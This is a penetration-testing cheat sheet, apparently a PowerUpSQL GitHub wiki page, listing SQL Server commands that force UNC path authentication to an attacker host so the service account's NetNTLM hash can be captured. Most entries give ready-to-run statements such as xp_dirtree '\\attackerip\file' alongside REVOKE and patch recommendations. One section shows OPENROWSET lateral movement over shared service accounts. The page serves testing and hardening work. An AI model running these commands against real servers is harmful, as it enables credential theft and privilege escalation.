Skip to content

SQL Server UNC Path Injection Cheat Sheet

Scott Sutherland edited this page Jul 26, 2018 · 11 revisions

Description of Issue

This is a list of native SQL Server functions/commands that support UNC path [injections] by default. The primary concern is that least privilege SQL/Windows logins will have the ability to perform UNC path injection attacks against the native SQL Server functions to obtain the NetNTLM password hash for the SQL Server service account. The SQL Server service account has sysadmin privileges by default in all versions of SQL Server. As result, UNC path injection can be used as a semi-reliable privilege escalation technique if the password hash can be cracked offline or relayed to another server.

General Recommendations

REVOKE default permissions from the public role that allows the execution of stored procedures/functions that can be used to perform UNC path injection. Do not provide SQL/Windows logins with execute permission on stored procedures/functions that can be used to perform UNC path injection unless it is required for a defined business purpose. Also, ensure that the MS16-136 patch has been applied to prevent exploitation of UNC path injection in the BACKUP and RESTORE functions. Please note that no patch is available for SQL Server 2008 and prior.

Note: This list is most likely not complete.


UNC Path Injections: Executable by the Public Fixed Server Role

All of the stored procedures/functions listed in this section are supported by SQL Server 2000 to 2016 (excluding Azure).

xp_dirtree

Commands:

  • xp_dirtree '\\attackerip\file'

Notes: EXECUTE by default

Recommendation: REVOKE EXECUTE ON xp_dirtree TO public

xp_fileexist

Commands:

  • xp_fileexist '\\attackerip\file'

Notes: EXECUTE by default

Recommendation: REVOKE EXECUTE ON xp_fileexist TO public

BACKUP

Commands:

  • BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
  • BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'

Notes: The Public role can't actually execute the BACKUP, but the UNC path is resolved prior to the authorization check.

Recommendation: Apply MS16-136. No patch available for SQL Server 2008 and prior.

RESTORE

Commands:

  • RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
  • RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
  • RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
  • RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
  • RESTORE LABELONLY FROM DISK = '\\attackerip\file'
  • RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
  • RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'

Notes: The Public role can't actually execute the RESTORE, but the UNC path is resolved prior to the authorization check.

Recommendation: Apply MS16-136. No patch available for SQL Server 2008 and prior.


UNC Path Injections: Executable by Sysadmin and Other Roles

Note: Almost every stored procedure/function listed below supports UNC file paths by design.

CREATE ASSEMBLY

-- Create assembly
CREATE ASSEMBLY HelloWorld FROM '\\attackerip\file' WITH PERMISSION_SET = SAFE;
GO

sp_addextendedproc

-- Add exteneded stored procedure
sp_addextendedproc 'xp_hello','\\attackerip\file'

Create Certificate

-- Create Certificate
CREATE CERTIFICATE testing123  
    FROM EXECUTABLE FILE = '\\attackerip\file';
GO  

Backup Certificate

-- Backup Certificate
BACKUP CERTIFICATE test01 TO FILE = '\\attackerip\file'
	WITH PRIVATE KEY (decryption by password = 'superpassword',
	FILE = '\\attackerip\file',
	encryption by password = 'superpassword');
go

BACKUP MASTER KEY

-- Backup to file - Master Key
BACKUP MASTER KEY TO FILE = '\\attackerip\file'
	ENCRYPTION BY PASSWORD = 'password'
GO

BACKUP SERVICE MASTER KEY

-- Backup to file - Service Master Key
BACKUP SERVICE MASTER KEY TO FILE = '\\attackerip\file'
	ENCRYPTION BY PASSWORD = 'password'
go

RESTORE MASTER KEY

-- Restore from file - Master Key
RESTORE MASTER KEY FROM FILE = '\\attackerip\file'
	DECRYPTION BY PASSWORD = 'password'
	ENCRYPTION BY PASSWORD = 'password'
go

RESTORE SERVICE MASTER KEY

-- Restore from file - Service Master Key
RESTORE SERVICE MASTER KEY FROM FILE = '\\attackerip\file'
	DECRYPTION BY PASSWORD = 'password'
go

BULK INSERT - FROM

-- Read data from file - Bulk insert 1
CREATE TABLE #TEXTFILE (column1 NVARCHAR(100))
BULK INSERT #TEXTFILE FROM '\\attackerip\file' 
DROP TABLE #TEXTFILE

BULK INSERT - WITH

-- Read data from file - Bulk insert 2
CREATE TABLE #TEXTFILE (column1 NVARCHAR(100))
BULK INSERT #TEXTFILE FROM '\\attackerip\file' 
WITH (FORMATFILE = '\\testing21\file')
DROP TABLE #TEXTFILE

sys.fn_xe_file_target_read_file

-- Read data from a file - fn_xe_file_target_read_file
SELECT * FROM sys.fn_xe_file_target_read_file ('\\attackerip\file','\\attackerip\file',null,null)
GO

sys.fn_get_audit_file

-- Read data from a file - fn_get_audit_file
SELECT * FROM sys.fn_get_audit_file ('\\attackerip\file','\\attackerip\file',default,default);  
GO  

CREATE SERVER AUDIT

-- Create Server Audit to File
CREATE SERVER AUDIT TESTING TO FILE ( FILEPATH = '\\attackerip\file');
GO

CREATE CRYPTOGRAPHIC PROVIDER

-- Install a cryptographic provider  
sp_configure 'EKM provider enabled',1
RECONFIGURE
GO
CREATE CRYPTOGRAPHIC PROVIDER SecurityProvider FROM FILE = '\\attackerip\file';  
GO

CREATE EXTERNAL FILE FORMAT

-- External file format - Azure only
CREATE EXTERNAL FILE FORMAT myfileformat WITH (FORMATFILE = '\\testing21\file');
GO 

xp_subdirs

-- xp_subdirs
xp_subdirs '\\attackerip\file'

xp_cmdshell

-- xp_cmdshell 
xp_cmdshell 'dir \\attackerip\file'

fn_dump_dblog

-- requires sysadmin or db_owner role
SELECT  * FROM fn_dump_dblog(NULL,NULL,'DISK',1
,'\\attackerip\fakefile.bak'
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,   NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,   NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,   NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,   NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,   NULL,NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL)

OpenRowSet: Shared Account Fun

This should work on SQL Server 2005 and later. This technique can also be used to transparently execute commands on remote SQL Servers if the servers share a service account and you are running as a sysadmin. This is just exploiting shared service accounts in another way.

-- Enable advanced options
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
GO

-- Enabled ad hoc queries
EXEC sp_configure 'ad hoc distributed queries', 1
RECONFIGURE
GO

-- Execute SQL query on a remote SQL Server as a sysadmin.  This uses the SQL Server service account to authenticate to the remote SQL Server instance. 
DECLARE @sql NVARCHAR(MAX)
set @sql = 'select a.* from openrowset(''SQLNCLI'', ''Server=SQLSERVER2;Trusted_Connection=yes;'', ''select * from master.dbo.sysdatabases'') as a'
select @sql
EXEC sp_executeSQL @sql

OpenRowSet: Microsoft.Jet.OLEDB.4.0

Ref: https://www.experts-exchange.com/articles/3025/Retrieving-Data-From-Excel-Using-OPENROWSET.html

Ref: https://msdn.microsoft.com/en-us/library/ms179856.aspx

 
SELECT * FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0',
'Data Source=\\server1\DataFolder\Documents\TestExcel.xls;Extended Properties=EXCEL 5.0')...[Sheet1$] ; 
-- Excel 97-2003
-- Requires ad-hoc queries to be enabled and the provider to be installed.
SELECT * 
FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0',
    'Excel 8.0;HDR=YES;Database=\\server\temp\Products.xls',
    'select * from [ProductList$]');

OpenRowSet: Microsoft.ACE.OLEDB.12.0

-- Excel 2007-2010 
-- Requires ad-hoc queries to be enabled and the provider to be installed.
SELECT * 
FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0',
    'Excel 12.0 Xml;HDR=YES;Database=\\server\temp\Products.xlsx',
    'SELECT * FROM [ProductList$]');
--old Excel with new ACE driver - working query 1 (unc injection)
SELECT * --INTO #productlist
FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0',
    'Excel 8.0;HDR=YES;Database=\\server\temp\Products.xls',
    'SELECT * FROM [ProductList$]');
--old Excel with new ACE driver - working query 2 (unc injection)
SELECT * --INTO #productlist
FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0',
    'Excel 12.0;HDR=YES;Database=\\server\temp\Products.xls',
    'SELECT * FROM [ProductList$]');
SELECT * --INTO #productlist
FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0',
    'Excel 12.0 Xml;HDR=YES;Database=\\server\temp\Products.xlsx',
    'SELECT * FROM [ProductList$]');

WebDAV Notes

Below are some formats supported for WebDAV.

xp_dirtree '\\hostname@SSL\test'      --ssl 443
xp_dirtree '\\hostname@SSL@1234\test' --ssl port 1234
xp_dirtree '\\hostname@1234\test'     --http

Introduction

Cheat Sheets

PowerUpSQL Blogs

PowerUpSQL Talks

PowerUpSQL Videos

Function Categories

Clone this wiki locally
You can’t perform that action at this time.
You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.